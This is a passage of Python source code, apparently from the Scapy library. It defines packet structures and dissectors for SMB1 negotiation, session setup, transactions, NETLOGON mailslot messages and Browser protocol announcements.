SMBTransaction_Response\n            else:\n                if WordCount == 0x11:\n                    return SMBMailslot_Write\n                else:\n                    return SMBTransaction_Request\n        return super(SMB_Header, self).guess_payload_class(payload)\n\n    def answers(self, pkt):\n        return SMB_Header in pkt\n\n\n# SMB Negotiate Request\n\n\nclass SMB_Dialect(Packet):\n    name = \"SMB Dialect\"\n    fields_desc = [\n        ByteField(\"BufferFormat\", 0x02),\n        StrNullField(\"DialectString\", \"NT LM 0.12\"),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass SMBNegotiate_Request(Packet):\n    name = \"SMB Negotiate Request\"\n    fields_desc = [\n        ByteField(\"WordCount\", 0),\n        LEFieldLenField(\"ByteCount\", None, length_of=\"Dialects\"),\n        PacketListField(\n            \"Dialects\",\n            [SMB_Dialect()],\n            SMB_Dialect,\n            length_from=lambda pkt: pkt.ByteCount,\n        ),\n    ]\n\n\nbind_layers(SMB_Header, SMBNegotiate_Request, Command=0x72)\n\n# SMBNegotiate Protocol Response\n\n\ndef _SMBStrNullField(name, default):\n    \"\"\"\n    Returns a StrNullField that is either normal or UTF-16 depending\n    on the SMB headers.\n    \"\"\"\n\n    def _isUTF16(pkt):\n        while not hasattr(pkt, \"Flags2\") and pkt.underlayer:\n            pkt = pkt.underlayer\n        return hasattr(pkt, \"Flags2\") and pkt.Flags2.UNICODE\n\n    return MultipleTypeField(\n        [(StrNullFieldUtf16(name, default), _isUTF16)],\n        StrNullField(name, default),\n    )\n\n\ndef _len(pkt, name):\n    \"\"\"\n    Returns the length of a field, works with Unicode strings.\n    \"\"\"\n    fld, v = pkt.getfield_and_val(name)\n    return len(fld.addfield(pkt, v, b\"\"))\n\n\nclass _SMBNegotiate_Response(Packet):\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 2:\n            # Yes this is inspired by\n            # https://github.com/wireshark/wireshark/blob/925e01b23fd5aad2fa929fafd894128a88832e74/epan/dissectors/packet-smb.c#L2902\n            wc = struct.unpack(\"<H\", _pkt[:1])\n            # dialect = struct.unpack(\"<H\", _pkt[1:3])\n            if wc == 1:\n                # Core Protocol\n                return SMBNegotiate_Response_NoSecurity\n            elif wc == 0xD:\n                # LAN Manager 1.0 - LAN Manager 2.1\n                # TODO\n                pass\n            elif wc == 0x11:\n                # NT LAN Manager\n                return cls\n        return cls\n\n\n_SMB_ServerCapabilities = [\n    \"RAW_MODE\",\n    \"MPX_MODE\",\n    \"UNICODE\",\n    \"LARGE_FILES\",\n    \"NT_SMBS\",\n    \"RPC_REMOTE_APIS\",\n    \"STATUS32\",\n    \"LEVEL_II_OPLOCKS\",\n    \"LOCK_AND_READ\",\n    \"NT_FIND\",\n    \"res\",\n    \"res\",\n    \"DFS\",\n    \"INFOLEVEL_PASSTHRU\",\n    \"LARGE_READX\",\n    \"LARGE_WRITEX\",\n    \"LWIO\",\n    \"res\",\n    \"res\",\n    \"res\",\n    \"res\",\n    \"res\",\n    \"res\",\n    \"UNIX\",\n    \"res\",\n    \"COMPRESSED_DATA\",\n    \"res\",\n    \"res\",\n    \"res\",\n    \"DYNAMIC_REAUTH\",\n    \"PERSISTENT_HANDLES\",\n    \"EXTENDED_SECURITY\",\n]\n\n\n# CIFS sect 2.2.4.52.2\n\n\nclass SMBNegotiate_Response_NoSecurity(_SMBNegotiate_Response):\n    name = \"SMB Negotiate No-Security Response (CIFS)\"\n    fields_desc = [\n        ByteField(\"WordCount\", 0x1),\n        LEShortField(\"DialectIndex\", 7),\n        FlagsField(\n            \"SecurityMode\",\n            0x03,\n            8,\n            [\n                \"USER_SECURITY\",\n                \"ENCRYPT_PASSWORDS\",\n                \"SECURITY_SIGNATURES_ENABLED\",\n                \"SECURITY_SIGNATURES_REQUIRED\",\n            ],\n        ),\n        LEShortField(\"MaxMpxCount\", 50),\n        LEShortField(\"MaxNumberVC\", 1),\n        LEIntField(\"MaxBufferSize\", 16144),  # Windows: 4356\n        LEIntField(\"MaxRawSize\", 65536),\n        LEIntField(\"SessionKey\", 0x0000),\n        FlagsField(\"ServerCapabilities\", 0xF3F9, -32, _SMB_ServerCapabilities),\n        UTCTimeField(\n            \"ServerTime\",\n            None,\n            fmt=\"<Q\",\n            epoch=[1601, 1, 1, 0, 0, 0],\n            custom_scaling=1e7,\n        ),\n        ScalingField(\"ServerTimeZone\", 0x3C, fmt=\"<h\", unit=\"min-UTC\"),\n        FieldLenField(\n            \"ChallengeLength\",\n            None,\n            # aka EncryptionKeyLength\n            length_of=\"Challenge\",\n            fmt=\"<B\",\n        ),\n        LEFieldLenField(\n            \"ByteCount\",\n            None,\n            length_of=\"DomainName\",\n            adjust=lambda pkt, x: x + len(pkt.Challenge),\n        ),\n        XStrLenField(\n            \"Challenge\",\n            b\"\",  # aka EncryptionKey\n            length_from=lambda pkt: pkt.ChallengeLength,\n        ),\n        StrNullField(\"DomainName\", \"WORKGROUP\"),\n    ]\n\n\nbind_top_down(SMB_Header, SMBNegotiate_Response_NoSecurity, Command=0x72, Flags=0x80)\n\n# SMB sect 2.2.4.5.2.1\n\n\nclass SMBNegotiate_Response_Extended_Security(_SMBNegotiate_Response):\n    name = \"SMB Negotiate Extended Security Response (SMB)\"\n    WordCount = 0x11\n    fields_desc = SMBNegotiate_Response_NoSecurity.fields_desc[:12] + [\n        LEFieldLenField(\n            \"ByteCount\", None, length_of=\"SecurityBlob\", adjust=lambda _, x: x + 16\n        ),\n        SMBNegotiate_Response_NoSecurity.fields_desc[13],\n        UUIDField(\"GUID\", None, uuid_fmt=UUIDField.FORMAT_LE),\n        PacketLenField(\n            \"SecurityBlob\", None, GSSAPI_BLOB, length_from=lambda x: x.ByteCount - 16\n        ),\n    ]\n\n\nbind_top_down(\n    SMB_Header,\n    SMBNegotiate_Response_Extended_Security,\n    Command=0x72,\n    Flags=0x80,\n    Flags2=0x800,\n)\n\n# SMB sect 2.2.4.5.2.2\n\n\nclass SMBNegotiate_Response_Security(_SMBNegotiate_Response):\n    name = \"SMB Negotiate Non-Extended Security Response (SMB)\"\n    WordCount = 0x11\n    fields_desc = SMBNegotiate_Response_NoSecurity.fields_desc[:12] + [\n        LEFieldLenField(\n            \"ByteCount\",\n            None,\n            length_of=\"DomainName\",\n            adjust=lambda pkt, x: x\n            + 2\n            + _len(pkt, \"Challenge\")\n            + _len(pkt, \"ServerName\"),\n        ),\n        XStrLenField(\n            \"Challenge\",\n            b\"\",  # aka EncryptionKey\n            length_from=lambda pkt: pkt.ChallengeLength,\n        ),\n        _SMBStrNullField(\"DomainName\", \"WORKGROUP\"),\n        _SMBStrNullField(\"ServerName\", \"RMFF1\"),\n    ]\n\n\nbind_top_down(SMB_Header, SMBNegotiate_Response_Security, Command=0x72, Flags=0x80)\n\n# Session Setup AndX Request\n\n# CIFS sect 2.2.4.53\n\n\nclass SMBSession_Setup_AndX_Request(Packet):\n    name = \"Session Setup AndX Request (CIFS)\"\n    fields_desc = [\n        ByteField(\"WordCount\", 0x0D),\n        ByteEnumField(\"AndXCommand\", 0xFF, SMB_COM),\n        ByteField(\"AndXReserved\", 0),\n        LEShortField(\"AndXOffset\", None),\n        LEShortField(\"MaxBufferSize\", 16144),  # Windows: 4356\n        LEShortField(\"MaxMPXCount\", 50),\n        LEShortField(\"VCNumber\", 0),\n        LEIntField(\"SessionKey\", 0),\n        LEFieldLenField(\"OEMPasswordLength\", None, length_of=\"OEMPassword\"),\n        LEFieldLenField(\"UnicodePasswordLength\", None, length_of=\"UnicodePassword\"),\n        LEIntField(\"Reserved\", 0),\n        FlagsField(\"ServerCapabilities\", 0x05, -32, _SMB_ServerCapabilities),\n        LEShortField(\"ByteCount\", None),\n        XStrLenField(\"OEMPassword\", \"Pass\", length_from=lambda x: x.OEMPasswordLength),\n        XStrLenField(\n            \"UnicodePassword\", \"Pass\", length_from=lambda x: x.UnicodePasswordLength\n        ),\n        ReversePadField(_SMBStrNullField(\"AccountName\", \"GUEST\"), 2, b\"\\0\"),\n        _SMBStrNullField(\"PrimaryDomain\", \"\"),\n        _SMBStrNullField(\"NativeOS\", \"Windows 4.0\"),\n        _SMBStrNullField(\"NativeLanMan\", \"Windows 4.0\"),\n    ]\n\n    def post_build(self, pkt, pay):\n        if self.AndXOffset is None and self.AndXCommand != 0xFF:\n            pkt = pkt[:3] + struct.pack(\"<H\", len(pkt) + 32) + pkt[5:]\n        if self.ByteCount is None:\n            pkt = pkt[:27] + struct.pack(\"<H\", len(pkt) - 29) + pkt[29:]\n        if self.payload and hasattr(self.payload, \"AndXOffset\") and pay:\n            pay = pay[:3] + struct.pack(\"<H\", len(pkt) + len(pay) + 32) + pay[5:]\n        return pkt + pay\n\n\nbind_top_down(SMB_Header, SMBSession_Setup_AndX_Request, Command=0x73)\n\n# SMB sect 2.2.4.7\n\n\nclass SMBTree_Connect_AndX(Packet):\n    name = \"Session Tree Connect AndX\"\n    WordCount = 0x04\n    fields_desc = SMBSession_Setup_AndX_Request.fields_desc[:4] + [\n        FlagsField(\n            \"Flags\",\n            \"\",\n            -16,\n            [\"DISCONNECT_TID\", \"r2\", \"EXTENDED_SIGNATURES\", \"EXTENDED_RESPONSE\"],\n        ),\n        FieldLenField(\"PasswordLength\", None, length_of=\"Password\", fmt=\"<H\"),\n        LEShortField(\"ByteCount\", None),\n        XStrLenField(\"Password\", b\"\", length_from=lambda pkt: pkt.PasswordLength),\n        ReversePadField(_SMBStrNullField(\"Path\", \"\\\\\\\\WIN2K\\\\IPC$\"), 2),\n        StrNullField(\"Service\", \"?????\"),\n    ]\n\n    def post_build(self, pkt, pay):\n        pkt += pay\n        if self.ByteCount is None:\n            pkt = pkt[:9] + struct.pack(\"<H\", len(pkt) - 11) + pkt[11:]\n        return pkt\n\n\nbind_layers(SMB_Header, SMBTree_Connect_AndX, Command=0x75)\nbind_layers(SMBSession_Setup_AndX_Request, SMBTree_Connect_AndX, AndXCommand=0x75)\n\n# SMB sect 2.2.4.6.1\n\n\nclass SMBSession_Setup_AndX_Request_Extended_Security(Packet):\n    name = \"Session Setup AndX Extended Security Request (SMB)\"\n    WordCount = 0x0C\n    fields_desc = (\n        SMBSession_Setup_AndX_Request.fields_desc[:8]\n        + [\n            LEFieldLenField(\"SecurityBlobLength\", None, length_of=\"SecurityBlob\"),\n        ]\n        + SMBSession_Setup_AndX_Request.fields_desc[10:12]\n        + [\n            LEShortField(\"ByteCount\", None),\n            PacketLenField(\n                \"SecurityBlob\",\n                None,\n                GSSAPI_BLOB,\n                length_from=lambda x: x.SecurityBlobLength,\n            ),\n            ReversePadField(\n                _SMBStrNullField(\"NativeOS\", \"Windows 4.0\"),\n                2,\n                b\"\\0\",\n            ),\n            _SMBStrNullField(\"NativeLanMan\", \"Windows 4.0\"),\n        ]\n    )\n\n    def post_build(self, pkt, pay):\n        if self.ByteCount is None:\n            pkt = pkt[:25] + struct.pack(\"<H\", len(pkt) - 27) + pkt[27:]\n        return pkt + pay\n\n\nbind_top_down(\n    SMB_Header,\n    SMBSession_Setup_AndX_Request_Extended_Security,\n    Command=0x73,\n    Flags2=0x800,\n)\n\n# Session Setup AndX Response\n\n\n# CIFS sect 2.2.4.53.2\n\n\nclass SMBSession_Setup_AndX_Response(Packet):\n    name = \"Session Setup AndX Response (CIFS)\"\n    fields_desc = [\n        ByteField(\"WordCount\", 0x3),\n        ByteEnumField(\"AndXCommand\", 0xFF, SMB_COM),\n        ByteField(\"AndXReserved\", 0),\n        LEShortField(\"AndXOffset\", None),\n        FlagsField(\n            \"Action\",\n            0,\n            -16,\n            {\n                0x0001: \"SMB_SETUP_GUEST\",\n                0x0002: \"SMB_SETUP_USE_LANMAN_KEY\",\n            },\n        ),\n        LEShortField(\"ByteCount\", 25),\n        _SMBStrNullField(\"NativeOS\", \"Windows 4.0\"),\n        _SMBStrNullField(\"NativeLanMan\", \"Windows 4.0\"),\n        _SMBStrNullField(\"PrimaryDomain\", \"\"),\n        # Off spec?\n        ByteField(\"WordCount2\", 3),\n        ByteEnumField(\"AndXCommand2\", 0xFF, SMB_COM),\n        ByteField(\"Reserved3\", 0),\n        LEShortField(\"AndXOffset2\", 80),\n        LEShortField(\"OptionalSupport\", 0x01),\n        LEShortField(\"ByteCount2\", 5),\n        StrNullField(\"Service\", \"IPC\"),\n        StrNullField(\"NativeFileSystem\", \"\"),\n    ]\n\n    def post_build(self, pkt, pay):\n        if self.AndXOffset is None:\n            pkt = pkt[:3] + struct.pack(\"<H\", len(pkt) + 32) + pkt[5:]\n        return pkt + pay\n\n\nbind_top_down(SMB_Header, SMBSession_Setup_AndX_Response, Command=0x73, Flags=0x80)\n\n# SMB sect 2.2.4.6.2\n\n\nclass SMBSession_Setup_AndX_Response_Extended_Security(\n    SMBSession_Setup_AndX_Response\n):  # noqa: E501\n    name = \"Session Setup AndX Extended Security Response (SMB)\"\n    WordCount = 0x4\n    fields_desc = (\n        SMBSession_Setup_AndX_Response.fields_desc[:5]\n        + [SMBSession_Setup_AndX_Request_Extended_Security.fields_desc[8]]\n        + SMBSession_Setup_AndX_Request_Extended_Security.fields_desc[11:]\n    )\n\n    def post_build(self, pkt, pay):\n        if self.ByteCount is None:\n            pkt = pkt[:9] + struct.pack(\"<H\", len(pkt) - 11) + pkt[11:]\n        return super(SMBSession_Setup_AndX_Response_Extended_Security, self).post_build(\n            pkt, pay\n        )\n\n\nbind_top_down(\n    SMB_Header,\n    SMBSession_Setup_AndX_Response_Extended_Security,\n    Command=0x73,\n    Flags=0x80,\n    Flags2=0x800,\n)\n\n# SMB null (no wordcount)\n\n\nclass SMBSession_Null(Packet):\n    fields_desc = [ByteField(\"WordCount\", 0), LEShortField(\"ByteCount\", 0)]\n\n\nbind_top_down(SMB_Header, SMBSession_Null, Command=0x73)\n\n# [MS-CIFS] sect 2.2.4.33.1\n\n_SMB_CONFIG = [\n    (\"Len\", _NTLM_ENUM.LEN),\n    (\"BufferOffset\", _NTLM_ENUM.OFFSET),\n]\n\n\nclass _SMB_TransactionRequest_Data(PacketLenField):\n    def m2i(self, pkt, m):\n        if pkt.Name == b\"\\\\MAILSLOT\\\\NET\\\\NETLOGON\":\n            return NETLOGON(m)\n        elif pkt.Name == b\"\\\\MAILSLOT\\\\BROWSE\" or pkt.name == b\"\\\\MAILSLOT\\\\LANMAN\":\n            return BRWS(m)\n        return conf.raw_layer(m)\n\n\ndef _optlen(pkt, x):\n    try:\n        return len(getattr(pkt, x))\n    except AttributeError:\n        return 0\n\n\nclass SMBTransaction_Request(_NTLMPayloadPacket):\n    name = \"SMB COM Transaction Request\"\n    _NTLM_PAYLOAD_FIELD_NAME = \"Buffer\"\n\n    fields_desc = [\n        FieldLenField(\n            \"WordCount\",\n            None,\n            length_of=\"SetupCount\",\n            adjust=lambda pkt, x: x + 0x0E,\n            fmt=\"B\",\n        ),\n        FieldLenField(\n            \"TotalParamCount\",\n            None,\n            length_of=\"Buffer\",\n            fmt=\"<H\",\n            adjust=lambda pkt, _: _optlen(pkt, \"Parameter\"),\n        ),\n        FieldLenField(\n            \"TotalDataCount\",\n            None,\n            length_of=\"Buffer\",\n            fmt=\"<H\",\n            adjust=lambda pkt, _: _optlen(pkt, \"Data\"),\n        ),\n        LEShortField(\"MaxParamCount\", 0),\n        LEShortField(\"MaxDataCount\", 0),\n        ByteField(\"MaxSetupCount\", 0),\n        ByteField(\"Reserved1\", 0),\n        FlagsField(\"Flags\", 0, -16, {0x1: \"DISCONNECT_TID\", 0x2: \"NO_RESPONSE\"}),\n        LEIntField(\"Timeout\", 1000),\n        ShortField(\"Reserved2\", 0),\n        LEShortField(\"ParameterLen\", None),\n        LEShortField(\"ParameterBufferOffset\", None),\n        LEShortField(\"DataLen\", None),\n        LEShortField(\"DataBufferOffset\", None),\n        FieldLenField(\"SetupCount\", 3, count_of=\"Setup\", fmt=\"B\"),\n        ByteField(\"Reserved3\", 0),\n        FieldListField(\n            \"Setup\",\n            [1, 1, 2],\n            LEShortField(\"\", 0),\n            count_from=lambda pkt: pkt.SetupCount,\n        ),\n        # SMB Data\n        FieldLenField(\n            \"ByteCount\",\n            None,\n            length_of=\"Name\",\n            fmt=\"<H\",\n            adjust=lambda pkt, x: x + _optlen(pkt, \"Parameter\") + _optlen(pkt, \"Data\"),\n        ),\n        StrNullField(\"Name\", \"\\\\MAILSLOT\\\\NET\\\\NETLOGON\"),\n        _NTLMPayloadField(\n            \"Buffer\",\n            lambda pkt: 32 + 31 + len(pkt.Setup) * 2 + len(pkt.Name) + 1,\n            [\n                XStrLenField(\n                    \"Parameter\", b\"\", length_from=lambda pkt: pkt.ParameterLen\n                ),\n                _SMB_TransactionRequest_Data(\n                    \"Data\", None, conf.raw_layer, length_from=lambda pkt: pkt.DataLen\n                ),\n            ],\n        ),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        return (\n            _NTLM_post_build(\n                self,\n                pkt,\n                32 + 31 + len(self.Setup) * 2 + len(self.Name) + 1,\n                {\n                    \"Parameter\": 19,\n                    \"Data\": 23,\n                },\n                config=_SMB_CONFIG,\n            )\n            + pay\n        )\n\n    def mysummary(self):\n        if getattr(self, \"Data\", None) is not None:\n            return self.sprintf(\"Tran %Name% \") + self.Data.mysummary()\n        return self.sprintf(\"Tran %Name%\")\n\n\nbind_top_down(SMB_Header, SMBTransaction_Request, Command=0x25)\n\n\nclass SMBMailslot_Write(SMBTransaction_Request):\n    WordCount = 0x11\n\n\n# [MS-CIFS] sect 2.2.4.33.2\n\n\nclass SMBTransaction_Response(_NTLMPayloadPacket):\n    name = \"SMB COM Transaction Response\"\n    _NTLM_PAYLOAD_FIELD_NAME = \"Buffer\"\n    fields_desc = [\n        FieldLenField(\n            \"WordCount\",\n            None,\n            length_of=\"SetupCount\",\n            adjust=lambda pkt, x: x + 0x0A,\n            fmt=\"B\",\n        ),\n        FieldLenField(\n            \"TotalParamCount\",\n            None,\n            length_of=\"Buffer\",\n            fmt=\"<H\",\n            adjust=lambda pkt, _: _optlen(pkt, \"Parameter\"),\n        ),\n        FieldLenField(\n            \"TotalDataCount\",\n            None,\n            length_of=\"Buffer\",\n            fmt=\"<H\",\n            adjust=lambda pkt, _: _optlen(pkt, \"Data\"),\n        ),\n        LEShortField(\"Reserved1\", None),\n        LEShortField(\"ParameterLen\", None),\n        LEShortField(\"ParameterBufferOffset\", None),\n        LEShortField(\"ParameterDisplacement\", 0),\n        LEShortField(\"DataLen\", None),\n        LEShortField(\"DataBufferOffset\", None),\n        LEShortField(\"DataDisplacement\", 0),\n        FieldLenField(\"SetupCount\", 3, count_of=\"Setup\", fmt=\"B\"),\n        ByteField(\"Reserved2\", 0),\n        FieldListField(\n            \"Setup\",\n            [1, 1, 2],\n            LEShortField(\"\", 0),\n            count_from=lambda pkt: pkt.SetupCount,\n        ),\n        # SMB Data\n        FieldLenField(\n            \"ByteCount\",\n            None,\n            length_of=\"Buffer\",\n            fmt=\"<H\",\n            adjust=lambda pkt, x: _optlen(pkt, \"Parameter\") + _optlen(pkt, \"Data\"),\n        ),\n        _NTLMPayloadField(\n            \"Buffer\",\n            lambda pkt: 32 + 22 + len(pkt.Setup) * 2,\n            [\n                XStrLenField(\n                    \"Parameter\", b\"\", length_from=lambda pkt: pkt.ParameterLen\n                ),\n                XStrLenField(\"Data\", b\"\", length_from=lambda pkt: pkt.DataLen),\n            ],\n        ),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        return (\n            _NTLM_post_build(\n                self,\n                pkt,\n                32 + 22 + len(self.Setup) * 2,\n                {\n                    \"Parameter\": 7,\n                    \"Data\": 13,\n                },\n                config=_SMB_CONFIG,\n            )\n            + pay\n        )\n\n\nbind_top_down(SMB_Header, SMBTransaction_Response, Command=0x25, Flags=0x80)\n\n\n# [MS-ADTS] sect 6.3.1.4\n\n_NETLOGON_opcodes = {\n    0x7: \"LOGON_PRIMARY_QUERY\",\n    0x12: \"LOGON_SAM_LOGON_REQUEST\",\n    0x13: \"LOGON_SAM_LOGON_RESPONSE\",\n    0x15: \"LOGON_SAM_USER_UNKNOWN\",\n    0x17: \"LOGON_SAM_LOGON_RESPONSE_EX\",\n    0x19: \"LOGON_SAM_USER_UNKNOWN_EX\",\n}\n\n_NV_VERSION = {\n    0x00000001: \"V1\",\n    0x00000002: \"V5\",\n    0x00000004: \"V5EX\",\n    0x00000008: \"V5EX_WITH_IP\",\n    0x00000010: \"V5EX_WITH_CLOSEST_SITE\",\n    0x01000000: \"AVOID_NT4EMUL\",\n    0x10000000: \"PDC\",\n    0x20000000: \"IP\",\n    0x40000000: \"LOCAL\",\n    0x80000000: \"GC\",\n}\n\n\nclass NETLOGON(Packet):\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt:\n            if _pkt[0] == 0x07:  # LOGON_PRIMARY_QUERY\n                return NETLOGON_LOGON_QUERY\n            elif _pkt[0] == 0x12:  # LOGON_SAM_LOGON_REQUEST\n                return NETLOGON_SAM_LOGON_REQUEST\n            elif _pkt[0] == 0x13:  # LOGON_SAM_USER_RESPONSE\n                try:\n                    i = _pkt.index(b\"\\xff\\xff\\xff\\xff\")\n                    NtVersion = NETLOGON_SAM_LOGON_RESPONSE_NT40.fields_desc[\n                        -3\n                    ].getfield(None, _pkt[i - 4 : i])[1]\n                    if NtVersion.V1 and not NtVersion.V5:\n                        return NETLOGON_SAM_LOGON_RESPONSE_NT40\n                except Exception:\n                    pass\n                return NETLOGON_SAM_LOGON_RESPONSE\n            elif _pkt[0] == 0x15:  # LOGON_SAM_USER_UNKNOWN\n                return NETLOGON_SAM_LOGON_RESPONSE\n            elif _pkt[0] == 0x17:  # LOGON_SAM_LOGON_RESPONSE_EX\n                return NETLOGON_SAM_LOGON_RESPONSE_EX\n            elif _pkt[0] == 0x19:  # LOGON_SAM_USER_UNKNOWN_EX\n                return NETLOGON_SAM_LOGON_RESPONSE\n        return cls\n\n\nclass NETLOGON_LOGON_QUERY(NETLOGON):\n    fields_desc = [\n        LEShortEnumField(\"OpCode\", 0x7, _NETLOGON_opcodes),\n        StrNullField(\"ComputerName\", \"\"),\n        StrNullField(\"MailslotName\", \"\"),\n        StrNullFieldUtf16(\"UnicodeComputerName\", \"\"),\n        FlagsField(\"NtVersion\", 0xB, -32, _NV_VERSION),\n        XLEShortField(\"LmNtToken\", 0xFFFF),\n        XLEShortField(\"Lm20Token\", 0xFFFF),\n    ]\n\n\n# [MS-ADTS] sect 6.3.1.6\n\n\nclass NETLOGON_SAM_LOGON_REQUEST(NETLOGON):\n    fields_desc = [\n        LEShortEnumField(\"OpCode\", 0x12, _NETLOGON_opcodes),\n        LEShortField(\"RequestCount\", 0),\n        StrNullFieldUtf16(\"UnicodeComputerName\", \"\"),\n        StrNullFieldUtf16(\"UnicodeUserName\", \"\"),\n        StrNullField(\"MailslotName\", \"\\\\MAILSLOT\\\\NET\\\\GETDC701253F9\"),\n        LEIntField(\"AllowableAccountControlBits\", 0),\n        FieldLenField(\"DomainSidSize\", None, fmt=\"<I\", length_of=\"DomainSid\"),\n        XStrLenField(\"DomainSid\", b\"\", length_from=lambda pkt: pkt.DomainSidSize),\n        FlagsField(\"NtVersion\", 0xB, -32, _NV_VERSION),\n        XLEShortField(\"LmNtToken\", 0xFFFF),\n        XLEShortField(\"Lm20Token\", 0xFFFF),\n    ]\n\n\n# [MS-ADTS] sect 6.3.1.7\n\n\nclass NETLOGON_SAM_LOGON_RESPONSE_NT40(NETLOGON):\n    fields_desc = [\n        LEShortEnumField(\"OpCode\", 0x13, _NETLOGON_opcodes),\n        StrNullFieldUtf16(\"UnicodeLogonServer\", \"\"),\n        StrNullFieldUtf16(\"UnicodeUserName\", \"\"),\n        StrNullFieldUtf16(\"UnicodeDomainName\", \"\"),\n        FlagsField(\"NtVersion\", 0x1, -32, _NV_VERSION),\n        XLEShortField(\"LmNtToken\", 0xFFFF),\n        XLEShortField(\"Lm20Token\", 0xFFFF),\n    ]\n\n\n# [MS-ADTS] sect 6.3.1.2\n\n\n_NETLOGON_FLAGS = {\n    0x00000001: \"PDC\",\n    0x00000004: \"GC\",\n    0x00000008: \"LDAP\",\n    0x00000010: \"DC\",\n    0x00000020: \"KDC\",\n    0x00000040: \"TIMESERV\",\n    0x00000080: \"CLOSEST\",\n    0x00000100: \"RODC\",\n    0x00000200: \"GOOD_TIMESERV\",\n    0x00000400: \"NC\",\n    0x00000800: \"SELECT_SECRET_DOMAIN_6\",\n    0x00001000: \"FULL_SECRET_DOMAIN_6\",\n    0x00002000: \"WS\",\n    0x00004000: \"DS_8\",  # >=2008R2\n    0x00008000: \"DS_9\",  # >=2012\n    0x00010000: \"DS_10\",  # >=2016\n    0x00020000: \"DS_11\",  # >=2019\n    0x00040000: \"DS_12\",  # >=2025\n    0x20000000: \"DNS_CONTROLLER\",\n    0x40000000: \"DNS_DOMAIN\",\n    0x80000000: \"DNS_FOREST\",\n}\n\n\n# [MS-ADTS] sect 6.3.1.8\n\n\nclass NETLOGON_SAM_LOGON_RESPONSE(NETLOGON, DNSCompressedPacket):\n    fields_desc = [\n        LEShortEnumField(\"OpCode\", 0x17, _NETLOGON_opcodes),\n        StrNullFieldUtf16(\"UnicodeLogonServer\", \"\"),\n        StrNullFieldUtf16(\"UnicodeUserName\", \"\"),\n        StrNullFieldUtf16(\"UnicodeDomainName\", \"\"),\n        UUIDField(\"DomainGuid\", None, uuid_fmt=UUIDField.FORMAT_LE),\n        UUIDField(\"NullGuid\", None, uuid_fmt=UUIDField.FORMAT_LE),\n        DNSStrField(\"DnsForestName\", \"\"),\n        DNSStrField(\"DnsDomainName\", \"\"),\n        DNSStrField(\"DnsHostName\", \"\"),\n        IPField(\"DcIpAddress\", \"0.0.0.0\"),\n        FlagsField(\"Flags\", 0, -32, _NETLOGON_FLAGS),\n        FlagsField(\"NtVersion\", 0x1, -32, _NV_VERSION),\n        XLEShortField(\"LmNtToken\", 0xFFFF),\n        XLEShortField(\"Lm20Token\", 0xFFFF),\n    ]\n\n    def get_full(self):\n        return self.original\n\n\n# [MS-ADTS] sect 6.3.1.9\n\n\nclass DcSockAddr(Packet):\n    fields_desc = [\n        LEShortField(\"sin_family\", 2),\n        LEShortField(\"sin_port\", 0),\n        IPField(\"sin_addr\", None),\n        LELongField(\"sin_zero\", 0),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass NETLOGON_SAM_LOGON_RESPONSE_EX(NETLOGON, DNSCompressedPacket):\n    fields_desc = [\n        LEShortEnumField(\"OpCode\", 0x17, _NETLOGON_opcodes),\n        LEShortField(\"Sbz\", 0),\n        FlagsField(\"Flags\", 0, -32, _NETLOGON_FLAGS),\n        UUIDField(\"DomainGuid\", None, uuid_fmt=UUIDField.FORMAT_LE),\n        DNSStrField(\"DnsForestName\", \"\"),\n        DNSStrField(\"DnsDomainName\", \"\"),\n        DNSStrField(\"DnsHostName\", \"\"),\n        DNSStrField(\"NetbiosDomainName\", \"\"),\n        DNSStrField(\"NetbiosComputerName\", \"\"),\n        DNSStrField(\"UserName\", \"\"),\n        DNSStrField(\"DcSiteName\", \"Default-First-Site-Name\"),\n        DNSStrField(\"ClientSiteName\", \"Default-First-Site-Name\"),\n        ConditionalField(\n            ByteField(\"DcSockAddrSize\", 0x10),\n            lambda pkt: pkt.NtVersion.V5EX_WITH_IP,\n        ),\n        ConditionalField(\n            PacketField(\"DcSockAddr\", DcSockAddr(), DcSockAddr),\n            lambda pkt: pkt.NtVersion.V5EX_WITH_IP,\n        ),\n        ConditionalField(\n            DNSStrField(\"NextClosestSiteName\", \"\"),\n            lambda pkt: pkt.NtVersion.V5EX_WITH_CLOSEST_SITE,\n        ),\n        FlagsField(\"NtVersion\", 0xB, -32, _NV_VERSION),\n        XLEShortField(\"LmNtToken\", 0xFFFF),\n        XLEShortField(\"Lm20Token\", 0xFFFF),\n    ]\n\n    def pre_dissect(self, s):\n        try:\n            i = s.index(b\"\\xff\\xff\\xff\\xff\")\n            self.fields[\"NtVersion\"] = self.fields_desc[-3].getfield(\n                self, s[i - 4 : i]\n            )[1]\n        except Exception:\n            self.NtVersion = 0xB\n        return s\n\n    def get_full(self):\n        return self.original\n\n\n# [MS-BRWS] sect 2.2\n\n\nclass BRWS(Packet):\n    fields_desc = [\n        ByteEnumField(\n            \"OpCode\",\n            0x00,\n            {\n                0x01: \"HostAnnouncement\",\n                0x02: \"AnnouncementRequest\",\n                0x08: \"RequestElection\",\n                0x09: \"GetBackupListRequest\",\n                0x0A: \"GetBackupListResponse\",\n                0x0B: \"BecomeBackup\",\n                0x0C: \"DomainAnnouncement\",\n                0x0D: \"MasterAnnouncement\",\n                0x0E: \"ResetStateRequest\",\n                0x0F: \"LocalMasterAnnouncement\",\n            },\n        ),\n    ]\n\n    def mysummary(self):\n        return self.sprintf(\"%OpCode%\")\n\n    registered_opcodes = {}\n\n    @classmethod\n    def register_variant(cls):\n        cls.registered_opcodes[cls.OpCode.default] = cls\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt:\n            return cls.registered_opcodes.get(_pkt[0], cls)\n        return cls\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n# [MS-BRWS] sect 2.2.1\n\n\nclass BRWS_HostAnnouncement(BRWS):\n    OpCode = 0x01\n    fields_desc = [\n        BRWS,\n        ByteField(\"UpdateCount\", 0),\n        LEIntField(\"Periodicity\", 128000),\n        StrFixedLenField(\"ServerName\", b\"\", length=16),\n        ByteField(\"OSVersionMajor\", 6),\n        ByteField(\"OSVersionMinor\", 1),\n        LEIntField(\"ServerType\", 4611),\n        ByteField(\"BrowserConfigVersionMajor\", 21),\n        